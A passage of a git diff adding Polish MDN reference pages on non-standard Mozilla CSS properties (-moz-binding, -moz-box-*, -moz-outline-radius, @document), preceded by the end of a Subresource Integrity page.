+<h3 id="&lt;script_integrity>">&lt;script integrity&gt;</h3>
+
+<p class="hidden">Tabela kompatybilności na tej stronie jest generowana na podstawie danych strukturalnych. Jeśli chcesz ją współtworzyć, sprawdź <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam pull requesta.</p>
+
+<p>{{Compat("html.elements.script.integrity")}}</p>
+
+<h3 id="CSP_require-sri-for">CSP: require-sri-for</h3>
+
+<p class="hidden">Tabela kompatybilności na tej stronie jest generowana na podstawie danych strukturalnych. Jeśli chcesz ją współtworzyć, sprawdź <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam pull requesta.</p>
+
+<p>{{Compat("http.headers.csp.require-sri-for")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>Zasady bezpieczeństwa zawartości (Content Security Policy)</li>
+ <li>{{httpheader("Content-Security-Policy")}}</li>
+ <li><a href="https://frederik-braun.com/using-subresource-integrity.html" id="page-title">CDN, który Cię nie zXXSuje: Używanie Subresource Integrity</a></li>
+ <li><a href="https://w3c-test.org/subresource-integrity/subresource-integrity.html" id="w3c-test">Test na Subresource Integrity z W3C</a></li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/pl/web/css/-moz-binding/index.html b/files/pl/web/css/-moz-binding/index.html
new file mode 100644
index 0000000000..e44145368c
--- /dev/null
+++ b/files/pl/web/css/-moz-binding/index.html
@@ -0,0 +1,48 @@
+---
+title: '-moz-binding'
+slug: Web/CSS/-moz-binding
+tags:
+ - CSS
+ - Non-standard
+translation_of: Archive/Web/CSS/-moz-binding
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p><code>-moz-binding</code> jest używany przez aplikacje bazujące na Mozilli, by dołączyć wiązanie <a href="/pl/XBL" title="pl/XBL">XBL</a> do elementu DOM.</p>
+
+<ul>
+ <li>Wartość początkowa: <code>none | {{ mediawiki.external(',') }}* &lt;uri&gt; | inherit</code></li>
+ <li>Dotyczy: wszystkich elementów (oprócz zawartości generowanej lub pseudoelementów)</li>
+ <li>Dziedziczony: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Wartość wyliczona: jako określone</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">-moz-binding: <em>uri</em> | none
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>uri</dt>
+ <dd>Identyfikator URI dla wiązania XBL (włączając w to identyfikator fragmentaryczny).</dd>
+ <dt>none</dt>
+ <dd>Żadne wiązanie XBL nie jest stosowane do elementu.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+
+<pre>.exampleone {
+ -moz-binding: url("http://www.mozilla.org/xbl/htmlBindings.xml#checkbox");
+}
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p><a href="/pl/XBL/Dokumentacja_XBL_1.0/Binding_Attachment_and_Detachment" title="pl/XBL/Dokumentacja_XBL_1.0/Binding_Attachment_and_Detachment">Dokumentacja XBL: Binding Attachment and Detachment</a></p>
+
+<p><a href="/pl/Kurs_XUL/Wprowadzenie_do_XBL" title="pl/Kurs_XUL/Wprowadzenie_do_XBL">Kurs XUL:Wprowadzenie do XBL</a></p>
diff --git a/files/pl/web/css/-moz-border-bottom-colors/index.html b/files/pl/web/css/-moz-border-bottom-colors/index.html
new file mode 100644
index 0000000000..62e5f28015
--- /dev/null
+++ b/files/pl/web/css/-moz-border-bottom-colors/index.html
@@ -0,0 +1,56 @@
+---
+title: '-moz-border-bottom-colors'
+slug: Web/CSS/-moz-border-bottom-colors
+tags:
+ - CSS
+ - Non-standard
+translation_of: Archive/Web/CSS/-moz-border-bottom-colors
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach opartych na Mozilli <code>-moz-border-bottom-colors</code> ustawia kolory dolnego obramowania. Powinna być ustawiona lista kolorów. Jeśli element ma obramowanie, które jest szersze niż pojedynczy piksel, każda linia pikseli używa następnego koloru określonego w tej własności, z zewnątrz do wewnątrz. Eliminuje to potrzebę zagnieżdżonych boksów. Jeśli obramowanie jest szersze niż liczba określonej w tej własności kolorów, pozostała część obramowania jest w kolorze określonym najbliżej środka.</p>
+
+<ul>
+ <li>Wartość początkowa: nie stosuje się</li>
+ <li>Dotyczy: wszystkich elementów</li>
+ <li>Dziedziczony: nie</li>
+</ul>
+
+<p>Obecność <code>-moz-border-bottom-colors</code> oddziela kod rysujący obramowanie, który był zaprojektowany do rysowania obramowań elementów interfejsu użytkownika, ale nie wspiera wielu innych własności obramowania.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">-moz-border-bottom-colors: [&lt;color&gt; | transparent,]* &lt;color&gt; | transparent
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>&lt;color&gt;</dt>
+ <dd>Określa kolor linii pikseli dolnego obramowania</dd>
+ <dt>transparent</dt>
+ <dd>Linia pikseli nie ma własnego koloru, w zamian pokazuje kolor elementu pod spodem</dd>
+</dl>
+
+<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2>
+
+<ul>
+ <li><a href="pl/CSS/-moz-border-left-colors">-moz-border-left-colors</a> ustawia kolory lewego obramowania</li>
+ <li><a href="pl/CSS/-moz-border-right-colors">-moz-border-right-colors</a> ustawia kolory prawego obramowania</li>
+ <li><a href="pl/CSS/-moz-border-top-colors">-moz-border-top-colors</a> ustawia kolory górnego obramowania</li>
+</ul>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>hbox.example {
+ border: 5px solid #000000;
+
+ /* Kolor dolnego obramowania będzie czerwony, zielony, niebieski i biały
+ zaczynając od zewnątrz */
+ -moz-border-bottom-colors: #FF0000 #00FF00 #0000FF #FFFFFF;
+}
+</pre>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/css/-moz-border-left-colors/index.html b/files/pl/web/css/-moz-border-left-colors/index.html
new file mode 100644
index 0000000000..303bdfa747
--- /dev/null
+++ b/files/pl/web/css/-moz-border-left-colors/index.html
@@ -0,0 +1,15 @@
+---
+title: '-moz-border-left-colors'
+slug: Web/CSS/-moz-border-left-colors
+tags:
+ - CSS
+ - Non-standard
+translation_of: Archive/Web/CSS/-moz-border-left-colors
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach opartych na Mozilli <code>-moz-border-left-colors</code> ustawia kolory obramowania lewej krawędzi.</p>
+
+<p>Zobacz więcej informacji we własności <a href="pl/CSS/-moz-border-bottom-colors">-moz-border-bottom-colors</a>.</p>
diff --git a/files/pl/web/css/-moz-box-align/index.html b/files/pl/web/css/-moz-box-align/index.html
new file mode 100644
index 0000000000..1d6c77d415
--- /dev/null
+++ b/files/pl/web/css/-moz-box-align/index.html
@@ -0,0 +1,77 @@
+---
+title: '-moz-box-align'
+slug: Web/CSS/-moz-box-align
+tags:
+ - CSS
+ - Non-standard
+translation_of: Web/CSS/box-align
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{warning("This is a property of the original CSS Flexible Box Layout Module standard which is being replaced by a new standard.")}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach opartych na Mozilli <code>-moz-box-align</code> określa jak element XUL <code>box</code> (pudełko) wyrównuje swoją zawartość w poprzek (prostopadle) do kierunku swojego układu. Efekt tego jest widoczny tylko, jeśli w pudełku jest dodatkowa przestrzeń.</p>
+
+<p>Kierunek układu zależy od orientacji elementu: poziomej lub pionowej.</p>
+
+<ul>
+ <li>Wartość początkowa: stretch</li>
+ <li>Dotyczy: elementy z własnością <a href="pl/CSS/display">display</a> o wartości -moz-box lub -moz-inline-box</li>
+ <li>Dziedziczony: nie</li>
+ <li>Procenty: nie dotyczą</li>
+ <li>Wartość wyliczona: jako określone</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">-moz-box-align: start | center | end | baseline | stretch
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>start</dt>
+ <dd>Pudełko wyrównuje zawartość od początku, opuszczając dodatkową przestrzeń na końcu.</dd>
+ <dt>center</dt>
+ <dd>Pudełko wyrównuje zawartość do środka, dzieląc pustą przestrzeń odpowiednio między początek i koniec.</dd>
+ <dt>end</dt>
+ <dd>Pudełko wyrównuje zawartość do końca, opuszczając dodatkową przestrzeń na początku</dd>
+ <dt>baseline</dt>
+ <dd>Pudełko wyrównuje linie bazowe zawartości (ustawiając tekst w kolejności). Ma zastosowanie tylko, gdy orientacja pudełka jest pozioma.</dd>
+ <dt>stretch</dt>
+ <dd>Pudełko rozciąga zawartość, zatem w pudełku nie ma dodatkowej przestrzeni.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>hbox.example {
+ -moz-box-align: end; /* przenosi zawartość do dołu */
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Krawędź pudełka określona jako<em>start</em> dla celu wyrównania zależy od orientacji pudełka</p>
+
+<table style="text-align: center;">
+ <tbody>
+ <tr>
+ <td style="text-align: right;"><strong>Pozioma</strong></td>
+ <td>górna</td>
+ </tr>
+ <tr>
+ <td style="text-align: right;"><strong>Pionowa</strong></td>
+ <td>lewa</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Krawędź przeciwna do początkowej jest określana jako<em>end</em></p>
+
+<p>Jeśli wyrównanie jest ustawione przy użyciu atrybutu align elementu, wtedy styl jest ignorowany.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p><a href="pl/CSS/-moz-box-orient">CSS:-moz-box-orient</a>, <a href="pl/CSS/-moz-box-pack">CSS:-moz-box-pack</a></p>
diff --git a/files/pl/web/css/-moz-box-flex/index.html b/files/pl/web/css/-moz-box-flex/index.html
new file mode 100644
index 0000000000..bd4f192a92
--- /dev/null
+++ b/files/pl/web/css/-moz-box-flex/index.html
@@ -0,0 +1,64 @@
+---
+title: '-moz-box-flex'
+slug: Web/CSS/-moz-box-flex
+tags:
+ - CSS
+ - Non-standard
+translation_of: Web/CSS/box-flex
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{ warning("This is a property for controlling parts of the XUL box model.  It does not match either the old CSS Flexible Box Layout Module drafts for '<code>box-flex</code>' (which were based on this property) or the behavior of '<code>-webkit-box-flex</code>' (which is based on those drafts).") }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach opartych na Mozilli <code>-moz-box-flex</code> określa jak pudełko powiększa się, by wypełnić pudełko, które je zawiera, w kierunku układu zawierającego pudełka.</p>
+
+<ul>
+ <li>Wartość początkowa: 0</li>
+ <li>Dotyczy: elementy, które są bezpośrednim dzieckiem elementu z własnością CSS <a href="pl/CSS/display">display</a> o wartości -moz-box lub -moz-inline-box.</li>
+ <li>Dziedziczony: nie</li>
+ <li>Procenty: nie dotyczą</li>
+ <li>Wartość wyliczona: jako określone</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">-moz-box-flex:<em>liczba</em>
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>0</dt>
+ <dd>Pudełko nie powiększa się.</dd>
+ <dt>&gt; 0</dt>
+ <dd>Pudełko rozszerza się, by wypełnić proporcjonalną część dostępnej przestrzeni.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>hbox.example {
+ -moz-box-flex: 1; /* take up some more space */
+}
+</pre>
+
+<h2 id="Uwagi" name="Uwagi">Uwagi</h2>
+
+<p>Zawierające pudełko przydziela dodatkową dostępną przestrzeń proporcjonalnie do wartości rozciągania każdego elementu zawartości.</p>
+
+<p>Elementy zawartości, które mają rozciąganie ustawione na zero, nie powiększają się.</p>
+
+<p>Jeśli tylko jeden element zawartości ma niezerowe rozciąganie, wtedy powiększa się on do wypełnienia dostępnej wolnej przestrzeni.</p>
+
+<p>Elementy zawartości, które mają takie samo rozciąganie, powiększają się o tą samą bezwzględną liczbę.</p>
+
+<p>Jeśli wartość rozciąganie jest ustawiona przy użyciu atrybutu flex w elemencie, wtedy styl jest ignorowany.</p>
+
+<p>Aby zrobić element XUL w zawierającym pudełku takich samych rozmiarów, ustaw atrybut equalsize zawierającego pudełka na wartość always. Ten atrybut nie ma odpowiadającej własności CSS.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p><a href="pl/CSS/-moz-box-orient">CSS:-moz-box-orient</a>, <a href="pl/CSS/-moz-box-pack">CSS:-moz-box-pack</a></p>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/css/-moz-box-orient/index.html b/files/pl/web/css/-moz-box-orient/index.html
new file mode 100644
index 0000000000..5effdac347
--- /dev/null
+++ b/files/pl/web/css/-moz-box-orient/index.html
@@ -0,0 +1,54 @@
+---
+title: '-moz-box-orient'
+slug: Web/CSS/-moz-box-orient
+tags:
+ - CSS
+ - Non-standard
+translation_of: Web/CSS/box-orient
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{ warning("This is a property of the original CSS Flexible Box Layout Module draft, and has been replaced in newer drafts.") }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach opartych na Mozilli <code>-moz-box-orient</code> określa, czy pudełko rozkłada swoją zawartość poziomo czy pionowo.</p>
+
+<p>Np. elementy XUL box i hbox domyślnie rozkładają swoją zawartość poziomo, zaś elementy XUL vbox domyślnie rozkładają swoją zawartość pionowo.</p>
+
+<ul>
+ <li>Wartość początkowa: horizontal</li>
+ <li>Dotyczy: elementy z własnością CSS <a href="pl/CSS/display">display</a> o wartości -moz-box lub-moz-inline-box</li>
+ <li>Dziedziczony: nie</li>
+ <li>Procenty: nie dotyczą</li>
+ <li>Wartość wyliczona: jako określone</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">-moz-box-orient: horizontal | vertical
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>horizontal</dt>
+ <dd>Pudełko układa swoją zawartość w poziomie.</dd>
+ <dt>vertical</dt>
+ <dd>Pudełko układa swoją zawartość w pionie.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>hbox.example {
+ -moz-box-orient: vertical; /* zmiana orientacji */
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Jeśli orientacja jest ustawiona w elemencie przy użyciu atrybutu orient, wtedy styl jest ignorowany.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p><a href="pl/CSS/direction">CSS:direction</a>, <a href="pl/CSS/-moz-box-direction">CSS:-moz-box-direction</a></p>
diff --git a/files/pl/web/css/-moz-box-pack/index.html b/files/pl/web/css/-moz-box-pack/index.html
new file mode 100644
index 0000000000..edbbe60856
--- /dev/null
+++ b/files/pl/web/css/-moz-box-pack/index.html
@@ -0,0 +1,82 @@
+---
+title: '-moz-box-pack'
+slug: Web/CSS/-moz-box-pack
+tags:
+ - CSS
+ - Non-standard
+translation_of: Web/CSS/box-pack
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{warning("This is a property of the original CSS Flexible Box Layout Module standard which is being replaced by a new standard.")}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach opartych na Mozilli <code>-moz-box-pack</code> określa jak pudełko wpakowuje swoją zawartość w kierunku swojego układu. Efekt tego jest widoczny tylko wtedy, gdy w pudełku jest dodatkowa wolna przestrzeń.</p>
+
+<p>Kierunek układu zależy od orientacji elementu: poziomej lub pionowej.</p>
+
+<ul>
+ <li>Wartość początkowa: start</li>
+ <li>Dotyczy: elementy z własnością CSS <a href="pl/CSS/display">display</a> o wartości -moz-box lub -moz-inline-box</li>
+ <li>Dziedziczony: nie</li>
+ <li>Procenty: nie dotyczą</li>
+ <li>Wartość wyliczona: jako określone</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">-moz-box-pack: start | center | end | justify
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>start</dt>
+ <dd>Pudełko wpakowuje zawartość od początku, zostawiając dodatkową wolną przestrzeń na końcu.</dd>
+ <dt>center</dt>
+ <dd>Pudełko wpakowuje zawartość w środku, dzieląc dodatkową wolną przestrzeń pomiędzy początek i koniec.</dd>
+ <dt>end</dt>
+ <dd>Pudełko wpakowuje zawartość na końcu, zostawiając dodatkową wolną przestrzeń na początku.</dd>
+ <dt>justify</dt>
+ <dd> ?</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>hbox.example {
+ -moz-box-pack: end; /* przesuwa zawartość na prawo */
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Krawędź pudełka, określona jako<em>start</em> dla celów wpakowywania, zależy od orientacji i kierunku pudełka.</p>
+
+<table style="text-align: center;">
+ <tbody>
+ <tr>
+ <td> </td>
+ <td><strong>Normalna</strong></td>
+ <td><strong>Odwrócona</strong></td>
+ </tr>
+ <tr>
+ <td style="text-align: right;"><strong>Poziomo</strong></td>
+ <td>lewa</td>
+ <td>prawa</td>
+ </tr>
+ <tr>
+ <td style="text-align: right;"><strong>Pionowo</strong></td>
+ <td>góra</td>
+ <td>dół</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Krawędź przeciwna do początkowej jest określana jako<em>end</em>.</p>
+
+<p>Jeśli wpakowywanie jest ustawione w atrybucie pack elementu, wtedy styl jest ignorowany.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p><code><a href="pl/CSS/-moz-box-orient">CSS:-moz-box-orient</a>, <a href="pl/CSS/-moz-box-direction">CSS:-moz-box-direction</a>, <a href="pl/CSS/-moz-box-align">CSS:-moz-box-align</a></code></p>
diff --git a/files/pl/web/css/-moz-image-region/index.html b/files/pl/web/css/-moz-image-region/index.html
new file mode 100644
index 0000000000..8b8315df3c
--- /dev/null
+++ b/files/pl/web/css/-moz-image-region/index.html
@@ -0,0 +1,41 @@
+---
+title: '-moz-image-region'
+slug: Web/CSS/-moz-image-region
+tags:
+ - CSS
+ - Non-standard
+translation_of: Web/CSS/-moz-image-region
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Dla określonych elementów i pseudoelementów XUL, które używają obrazka z własności {{ Cssxref("list-style-image") }}, ta własność określa obszar obrazka, który jest używany w miejsce całego obrazka. Pozwala to elementowi używać różnych fragmentów tego samego obrazka w celu ulepszenia wykonania.</p>
+
+<p>Składnia jest podobna do własności {{ Cssxref("clip") }}. Wszystkie cztery wartości są określane względem górnego lewego rogu obrazka.</p>
+
+<ul>
+ <li>Wartość początkowa <code>auto</code></li>
+ <li>Dotyczy: element XUL {{ XULElem("image") }} i pseudoelementy {{ Cssxref(":-moz-tree-image") }}, {{ Cssxref(":-moz-tree-twisty") }} oraz {{ Cssxref(":-moz-tree-checkbox") }}</li>
+ <li>Dziedziczony: nie</li>
+ <li>Procenty: nie dotyczą</li>
+ <li>Wartość wyliczona: Dla wartości <code>rect()</code> prostokąt składający się z czterech wyliczonych wartości; w innym przypadku jako określone.</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">-moz-image-region: rect(<em>top</em>, <em>right</em>, <em>bottom</em>, <em>left</em>);
+</pre>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>#example-button {
+ /* display only the 4x4 area from the top left of this image */
+ list-style-image: url("chrome://example/skin/example.png");
+ -moz-image-region: rect(0px, 4px, 4px, 0px);
+}
+#example-button:hover {
+ /* use the 4x4 area to the right of the first for the hovered button */
+ -moz-image-region: rect(0px, 8px, 4px, 4px);
+}
+</pre>
diff --git a/files/pl/web/css/-moz-outline-color/index.html b/files/pl/web/css/-moz-outline-color/index.html
new file mode 100644
index 0000000000..bded69c35c
--- /dev/null
+++ b/files/pl/web/css/-moz-outline-color/index.html
@@ -0,0 +1,12 @@
+---
+title: '-moz-outline-color'
+slug: Web/CSS/-moz-outline-color
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - 'CSS:Rozszerzenia_Mozilli'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/outline-color
+---
+<p>d</p>
diff --git a/files/pl/web/css/-moz-outline-radius-bottomleft/index.html b/files/pl/web/css/-moz-outline-radius-bottomleft/index.html
new file mode 100644
index 0000000000..fd55bfdfef
--- /dev/null
+++ b/files/pl/web/css/-moz-outline-radius-bottomleft/index.html
@@ -0,0 +1,17 @@
+---
+title: '-moz-outline-radius-bottomleft'
+slug: Web/CSS/-moz-outline-radius-bottomleft
+tags:
+ - CSS
+ - Non-standard
+translation_of: Web/CSS/-moz-outline-radius-bottomleft
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach Mozilli <code>-moz-outline-radius-bottomleft</code> ustawia zaokrąglenie dolnego lewego rogu konturu.</p>
+
+<p>Zobacz więcej informacji we własności <a href="pl/CSS/-moz-outline-radius">-moz-outline-radius</a>.</p>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/css/-moz-outline-radius-bottomright/index.html b/files/pl/web/css/-moz-outline-radius-bottomright/index.html
new file mode 100644
index 0000000000..2ac8105365
--- /dev/null
+++ b/files/pl/web/css/-moz-outline-radius-bottomright/index.html
@@ -0,0 +1,15 @@
+---
+title: '-moz-outline-radius-bottomright'
+slug: Web/CSS/-moz-outline-radius-bottomright
+tags:
+ - CSS
+ - Non-standard
+translation_of: Web/CSS/-moz-outline-radius-bottomright
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach Mozilli <code>-moz-outline-radius-bottomright</code> ustawia zaokrąglenie dolnego prawego rogu konturu.</p>
+
+<p>Zobacz więcej informacji we własności <a href="pl/CSS/-moz-outline-radius">-moz-outline-radius</a>.</p>
diff --git a/files/pl/web/css/-moz-outline-radius-topleft/index.html b/files/pl/web/css/-moz-outline-radius-topleft/index.html
new file mode 100644
index 0000000000..695c0fa28f
--- /dev/null
+++ b/files/pl/web/css/-moz-outline-radius-topleft/index.html
@@ -0,0 +1,15 @@
+---
+title: '-moz-outline-radius-topleft'
+slug: Web/CSS/-moz-outline-radius-topleft
+tags:
+ - CSS
+ - Non-standard
+translation_of: Web/CSS/-moz-outline-radius-topleft
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach Mozilli <code>-moz-outline-radius-topleft</code> ustawia zaokrąglenie górnego lewego rogu konturu.</p>
+
+<p>Zobacz więcej informacji we własności <a href="pl/CSS/-moz-outline-radius">-moz-outline-radius</a>.</p>
diff --git a/files/pl/web/css/-moz-outline-radius/index.html b/files/pl/web/css/-moz-outline-radius/index.html
new file mode 100644
index 0000000000..8fc9754922
--- /dev/null
+++ b/files/pl/web/css/-moz-outline-radius/index.html
@@ -0,0 +1,71 @@
+---
+title: '-moz-outline-radius'
+slug: Web/CSS/-moz-outline-radius
+tags:
+ - CSS
+ - Non-standard
+translation_of: Web/CSS/-moz-outline-radius
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>W aplikacjach Mozilli <code>-moz-outline-radius</code> może być używane do nadania konturowi zaokrąglonych rogów. Kontur jest linią rysowaną wokół elementu, na zewnątrz krawędzi obramowania w celu wyróżnienia elementu.</p>
+
+<ul>
+ <li>Wartość początkowa: 0</li>
+ <li>Dotyczy: wszystkie elementy</li>
+ <li>Dziedziczony: nie</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">-moz-outline-radius:<em>&lt;outline-radius&gt;{1,4}</em> | inherit ;
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<p><code><em>&lt;outline-radius&gt;</em></code> reprezentuje jedną w wartości:</p>
+
+<dl>
+ <dt>&lt;length&gt; </dt>
+ <dd>długość</dd>
+ <dt>&lt;percentage&gt; </dt>
+ <dd>procenty, względem szerokości pudełka</dd>
+</dl>
+
+<p>Zatem używane są 4 wartości w porządku górny lewy, górny prawy, dolny prawy i dolny lewy. Jeśli podane są mniej niż 4 wartości, lista wartości jest powtarzana do uzupełnienia pozostałych wartości.</p>
+
+<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2>
+
+<ul>
+ <li><a href="pl/CSS/-moz-outline">outline</a> ustawia kolor, styl i szerokość konturu.</li>
+ <li><a href="pl/CSS/-moz-outline-color">outline-color</a> ustawi kolor konturu.</li>
+ <li><a href="pl/CSS/-moz-outline-offset">outline-offset</a> odsuwa kontur od elementu.</li>
+ <li><a href="pl/CSS/-moz-outline-radius-bottomleft">-moz-outline-radius-bottomleft</a> ustawia zaokrąglenie dolnego lewego rogu.</li>
+ <li><a href="pl/CSS/-moz-outline-radius-bottomright">-moz-outline-radius-bottomright</a> ustawia zaokrąglenie dolnego prawego rogu.</li>
+ <li><a href="pl/CSS/-moz-outline-radius-topleft">-moz-outline-radius-topleft</a> ustawia zaokrąglenie górnego lewego rogu.</li>
+ <li><a href="pl/CSS/-moz-outline-radius-topright">-moz-outline-radius-topright</a> ustawia zaokrąglenie górnego prawego rogu.</li>
+ <li><a href="pl/CSS/-moz-outline-style">outline-style</a> ustawia styl konturu.</li>
+ <li><a href="pl/CSS/-moz-outline-width">outline-width</a> ustawia szerokość konturu.</li>
+</ul>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>hbox.example {
+ -moz-outline: #000000 solid 10px;
+ width: 500px;
+ height: 500px;
+ /* kontur wygnie się w kształt litery 'D' */
+ -moz-outline-radius: 10px 200px 200px 10px;
+}
+</pre>
+
+<h2 id="Znane_b.C5.82.C4.99dy" name="Znane_b.C5.82.C4.99dy">Znane błędy</h2>
+
+<p>Te błędy są takie same jak w <a href="pl/CSS/-moz-border-radius">border-radius</a>.</p>
+
+<ul>
+ <li>Obrazki tła wychodzą poza zaokrąglone obramowania {{ Bug(24998) }}</li>
+ <li>Zaokrąglone obramowania wspierają jedynie wartość <code>solid</code> dla <a href="pl/CSS/border-style">border-style</a>. {{ Bug(24998) }}</li>
+</ul>
diff --git a/files/pl/web/css/@document/index.html b/files/pl/web/css/@document/index.html
new file mode 100644
index 0000000000..75889861b3
--- /dev/null
+++ b/files/pl/web/css/@document/index.html
@@ -0,0 +1,46 @@
+---
+title: '@document'
+slug: Web/CSS/@document
+tags:
+ - CSS
+ - CSS At-rule
+translation_of: Web/CSS/@document
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Reguła <code>@-moz-document</code> jest regułą @ ograniczającą reguły zawartych w sobie stylów bazując na adresie URL dokumentu. Jest stworzona głównie dla stylów użytkownika.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p>Możesz tego użyć w swoim pliku <a class="external" href="http://www.mozilla.org/support/firefox/edit#content">userContent.css</a>:</p>
+
+<pre>@document url(http://www.w3.org/),
+ url-prefix(http://www.w3.org/Style/),
+ domain(mozilla.org)
+{
+ /* Reguły CSS dotyczą tutaj:
+ + Strony "http://www.w3.org/".
+ + Strony, której URL rozpoczyna się "http://www.w3.org/Style/"
+ + Każdej strony, dla której URL domeny zawiera "mozilla.org" lub kończy się
+ ".mozilla.org"
+ */
+
+ /* zrobienie powyższych stron potwornymi */
+ body { color: purple; background: yellow; }
